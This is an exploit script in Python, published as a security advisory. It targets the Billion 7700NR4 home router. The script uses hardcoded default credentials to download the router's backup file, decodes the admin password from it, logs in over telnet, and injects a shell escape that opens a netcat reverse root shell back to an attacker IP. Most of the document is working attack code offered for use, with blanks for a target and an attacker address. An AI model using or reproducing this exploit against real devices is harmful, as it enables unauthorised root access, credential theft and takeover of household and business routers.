| 
	  # Title : Billion Router 7700NR4 Remote Root Command Execution # Date : 06/10/2016 # Author : R-73eN # Tested on: Billion Router 7700NR4  # Vendor : http://www.billion.com/ # Vulnerability Description: # This router is a widely used here in Albania. It is given by a telecom provider to the home and bussiness users. # The problem is that this router has hardcoded credentials which "can not be changed" by a normal user. Using these  # credentials we don't have to much access but the lack of authentication security we can download the backup and get the admin password. # Using that password we can login to telnet server and use a shell escape to get a reverse root connection. # You must change host with the target and reverse_ip with your attacking ip. # Fix: # The only fix is hacking your router with this exploit, changing the credentials and disabling all the other services using iptables.  # 
import requests import base64 import socket import time 
host = "" def_user = "user" def_pass = "user" reverse_ip = "" #Banner banner = "" banner +="  ___        __        ____                 _    _  \n" banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n" banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n" banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n" banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n" print banner 
 # limited shell escape evil = 'ping ;rm /tmp/backpipe;cd tmp;echo "mknod backpipe p && nc ' + reverse_ip  + ' 1337 0<backpipe | /bin/sh 1>backpipe &" > /tmp/rev.sh;chmod +x rev.sh;sh /tmp/rev.sh &' 
def execute_payload(password):  print "[+] Please run nc -lvp 1337 and then press any key [+]"  raw_input()  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect((host,23))  s.recv(1024)  s.send("admin\r")  a= s.recv(1024)  time.sleep(1)  s.send(password +"\r")  time.sleep(1)  s.recv(1024)  s.send(evil + "\r")  time.sleep(1)  print "[+] If everything worked you should get a reverse shell [+]"  print "[+] Warning pressing any key will close the SHELL [+]"  raw_input() 
  
 r = requests.get("http://" + host + "/backupsettings.conf" , auth=(def_user,def_pass)) if(r.status_code == 200):  print "[+] Seems the exploit worked [+]"  print "[+] Dumping data . . . [+]"  temp = r.text  admin_pass = temp.split("<AdminPassword>")[1].split("</AdminPassword>")[0] # print "[+] Admin password : " + str(base64.b64decode(admin_pass)) + " [+]"  execute_payload(str(base64.b64decode(admin_pass))) else:  print "[-] Exploit Failed [-]" print "\n[+] https://www.infogen.al/ [+]\n\n"
  
	
  |